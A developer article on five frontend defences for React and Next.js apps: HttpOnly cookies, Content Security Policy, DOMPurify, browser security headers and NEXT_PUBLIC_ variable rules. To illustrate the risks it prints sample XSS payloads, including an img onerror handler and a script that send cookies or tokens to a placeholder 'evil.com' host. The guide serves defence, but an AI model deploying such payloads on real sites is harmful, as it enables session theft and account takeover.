Home / Articles

Five Frontend Security Defenses Every React and Next.js App Needs

Why production React and Next.js apps use HttpOnly cookies, CSP, DOMPurify, security headers and NEXT_PUBLIC_ rules, and which attack each one blocks.

Publisher: REACTAPP.TOP8 min read1873 words

This article is published in English.

Sources: 5 Security Practices Senior Frontend Engineers Use in React/Next.js Apps (But Most Developers Ignore)

It is easy to treat security as the backend's job, yet many serious vulnerabilities, from stolen sessions to leaked API keys, start in client code. Production React and Next.js codebases contain patterns that look unnecessary at first: HttpOnly cookies, odd headers in next.config.js, DOMPurify, NEXT_PUBLIC_ variables, a Content-Security-Policy. This guide explains the five most important ones, the attack each blocks, and the caveats for applying them correctly.

1. Keep auth tokens out of JavaScript with HttpOnly cookies

Token storage is probably the most consequential security decision in a frontend. A common approach is to save the token in localStorage:

localStorage.setItem("token", token);

and attach it to each request by hand:

fetch("/profile", {
  headers: {
    Authorization: `Bearer ${token}`,
  },
});

It works, but it leaves the token readable by any script running on your page.

How XSS turns into account takeover

Cross-site scripting (XSS) means an attacker gets their JavaScript to run inside your site. A typical entry point is rendering untrusted HTML, such as a user comment:

<div dangerouslySetInnerHTML={{ __html: comment }} />

If the attacker can make script run, reading the token is one line:

<script>
fetch("evil.com?token=" + localStorage.getItem("token"))
</script>

Strictly speaking, a script tag inserted through innerHTML (which dangerouslySetInnerHTML uses) does not execute; real attacks use event-handler payloads like the one in section 3. Either way, once script runs, localStorage is fully exposed.

Whoever holds a bearer token is logged in without needing the password, and can access the account, impersonate the user, perform transactions or reach admin features.

Let the browser hold the session

The standard fix is to have the server issue the session in a cookie that scripts cannot touch:

Set-Cookie:
accessToken=abc123;
HttpOnly;
Secure;
SameSite=Strict

Each attribute has a specific job:

  • HttpOnly hides the cookie from JavaScript: reading it from script, as below, will not return it.
  • Secure restricts the cookie to HTTPS.
  • SameSite=Strict stops the browser from sending the cookie on requests that originate from other sites, which is a strong defence against cross-site request forgery (CSRF). Strict also drops the cookie when users arrive via links from other sites, so many apps choose Lax.
document.cookie

The shift is one of ownership. Before, the frontend controlled the token:

Frontend controls token

After, the browser does:

Browser controls token

Your code no longer builds a header like this on every call:

Authorization: Bearer token

because the browser attaches the cookie automatically. Credentials never pass through application code. For the server side, see our comparison of sessions and JWTs in Node.js.

2. Stop injected scripts from running with a Content Security Policy

A frequently overlooked defence is the header named

Content-Security-Policy

which Next.js projects often configure in

next.config.js

Why HttpOnly cookies are not enough

Suppose an attacker manages to inject an external script:

<script src="https://evil.com/hack.js"></script>

By default the browser runs it. The attacker cannot read the cookie, but does not need to: the script runs inside your origin, so its requests carry the user's cookies automatically:

fetch("/send-money", {
  method: "POST",
  body: JSON.stringify({
    amount: 50000,
    to: "hacker",
  }),
});

The backend sees an authenticated request and processes the transfer. The same foothold allows other attacks:

  • Fake login prompts. The script shows an official-looking dialog like the text below, and whatever the user types goes to the attacker.
  • Forced redirects. Users are silently sent to a phishing site that mimics yours.
"Session expired. Enter password again."

An allowlist for executable code

A CSP tells the browser which sources of script it may run. A minimal policy looks like this:

Content-Security-Policy:
script-src 'self'

'self' means only scripts served from your own origin are allowed. When the page encounters a script from another domain, such as the one below, the browser refuses to execute it:

<script src="evil.com/hack.js"></script>

In Next.js, you can send the header for every route through headers() in the config:

const nextConfig = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: [
          {
            key: "Content-Security-Policy",
            value: "script-src 'self';",
          },
        ],
      },
    ];
  },
};

Treat this as a starting point. A bare script-src 'self' also blocks inline scripts, which Next.js uses for hydration, so a strict policy usually needs nonces (check the current Next.js docs for the middleware approach). Roll out new policies with Content-Security-Policy-Report-Only first.

Two layers, two purposes

HttpOnly cookies limit the damage of XSS; CSP tries to stop the script from running at all. Real protection comes from stacking both.

3. Sanitize HTML before using dangerouslySetInnerHTML

React prevents XSS only on its default rendering path, where interpolated text is escaped:

<p>{content}</p>

So if the API returns a string like this, React renders it as visible text rather than executing it:

<script>alert("hacked")</script>

The escape hatch is

dangerouslySetInnerHTML

and React put the word

dangerously

in its name on purpose.

When you genuinely need raw HTML

Blogs, CMS pages, Markdown output and rich text editors all need to render HTML. Say the backend returns:

<h1>Frontend Security</h1>
<p>Learn React Security</p>

Rendering it through normal interpolation:

<p>{content}</p>

displays the tags as literal text. Switching to the escape hatch produces properly formatted content:

<div dangerouslySetInnerHTML={{
  __html: content
}} />

It looks right, and it is an injection point.

The payload that does execute

An attacker submits markup like this:

<img src="x"
onerror="
fetch(
'evil.com?data=' + document.cookie
)"
/>

The image source is deliberately invalid, the load fails, and the onerror handler runs the attacker's JavaScript.

Clean it with DOMPurify

The usual remedy is to sanitize before rendering. Install the library:

npm install dompurify

import it:

import DOMPurify from "dompurify";

and sanitize content before handing it to React (in real code, the sanitize call and the return belong on separate lines):

const safeHTML =
DOMPurify.sanitize(content);return (
  <div
    dangerouslySetInnerHTML={{
      __html: safeHTML,
    }}
  />
);

DOMPurify removes dangerous constructs such as script elements, inline event handlers like onerror and onclick, javascript: URLs in links, and injected iframes, leaving only safe markup. On the server there is no browser DOM, so server-rendered code needs a DOM implementation such as jsdom or sanitization at write time.

Untrusted includes your own backend

Never trust input, even from your own API; that data usually originated somewhere less trustworthy:

  • end users
  • admin panels
  • CMS editors
  • third-party APIs
  • rich text editors

4. Browser security headers that close quiet gaps

Many production configs set a trio of headers that are easy to overlook:

X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options

Each one blocks a different attack.

X-Frame-Options against clickjacking

An attacker builds a page on a domain of their own:

evil.com

and loads your site inside an invisible iframe on top of it. The user thinks they are pressing

Claim Prize

but the click lands on your real button underneath:

Transfer ₹50,000

This is clickjacking. The fix is to forbid framing:

X-Frame-Options: DENY

The browser then refuses to frame your pages. The modern CSP equivalent is frame-ancestors 'none'; setting both covers older browsers.

Strict-Transport-Security to force HTTPS

On untrusted networks such as public Wi-Fi, plain HTTP traffic can be intercepted, exposing passwords, session data, one-time codes and other private information. HSTS tells the browser to use HTTPS only:

Strict-Transport-Security:
max-age=31536000

Once a browser has seen this header, even a typed address like

http://example.com

is upgraded automatically to

https://example.com

before any request leaves the machine. The max-age is one year. The browser only learns the rule over HTTPS, so a first visit is unprotected unless the domain is preloaded.

X-Content-Type-Options against MIME sniffing

Browsers historically tried to guess a file's real type. If the server declares

Content-Type: image/jpeg

but the file actually contains script, a sniffing browser might treat it as executable. Disabling that behaviour is one header:

X-Content-Type-Options:
nosniff

It instructs the browser to trust the declared Content-Type and stop guessing.

Setting all three in Next.js

const nextConfig = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: [
          {
            key: "X-Frame-Options",
            value: "DENY",
          },
          {
            key:
              "Strict-Transport-Security",
            value:
              "max-age=31536000",
          },
          {
            key:
              "X-Content-Type-Options",
            value: "nosniff",
          },
        ],
      },
    ];
  },
};

These headers cost almost nothing and remove whole categories of attack.

5. Separate server secrets from browser-visible environment variables

Keeping .env out of Git does not make secrets safe. What matters is what ends up in the JavaScript bundle.

How secrets reach the bundle

Take a variable like this:

SECRET_KEY=abc123

referenced from client-side code:

console.log(
 process.env.SECRET_KEY
);

When a bundler inlines environment variables at build time, the shipped code contains the literal value:

console.log("abc123");

Anyone can read it in developer tools. Next.js guards against the accidental case: variables without the NEXT_PUBLIC_ prefix are not inlined into browser code and read as undefined there. Leaks happen when a secret gets the public prefix to silence an error, or a server component passes it to a client component as a prop.

The NEXT_PUBLIC_ contract

Only variables whose names start with

NEXT_PUBLIC_

are embedded in the browser build. A value like this is fine to expose:

NEXT_PUBLIC_API_URL=
https://api.com

and can be read in client code as:

process.env
.NEXT_PUBLIC_API_URL

because an API URL is public anyway.

What must never be public

These belong on the server only:

JWT_SECRET
DATABASE_URL
AWS_SECRET
STRIPE_SECRET_KEY
PRIVATE_KEYS

A typical production setup

The repository contains no .env file, because the file is listed in .gitignore:

.env

Real values are injected by the CI/CD system or hosting platform at build or deploy time. Only NEXT_PUBLIC_ values reach the browser bundle; everything else stays on the server.

The rule to remember: if the browser can access a value, it is public. No frontend secret is actually secret.

Key takeaways

Frontend security is about shrinking the attack surface and making exploitation harder, layer by layer.

  1. HttpOnly cookies keep session tokens out of reach of injected scripts.
  2. A Content Security Policy stops unauthorised scripts from running, but needs nonces to coexist with Next.js inline scripts.
  3. DOMPurify makes dangerouslySetInnerHTML safe for content you did not write.
  4. Security headers block clickjacking, protocol downgrades and MIME sniffing for almost no effort.
  5. The NEXT_PUBLIC_ boundary decides what ships to the browser, so treat that prefix as a publication decision.

Knowing which attack each pattern stops is what lets you configure it correctly and notice when one is missing.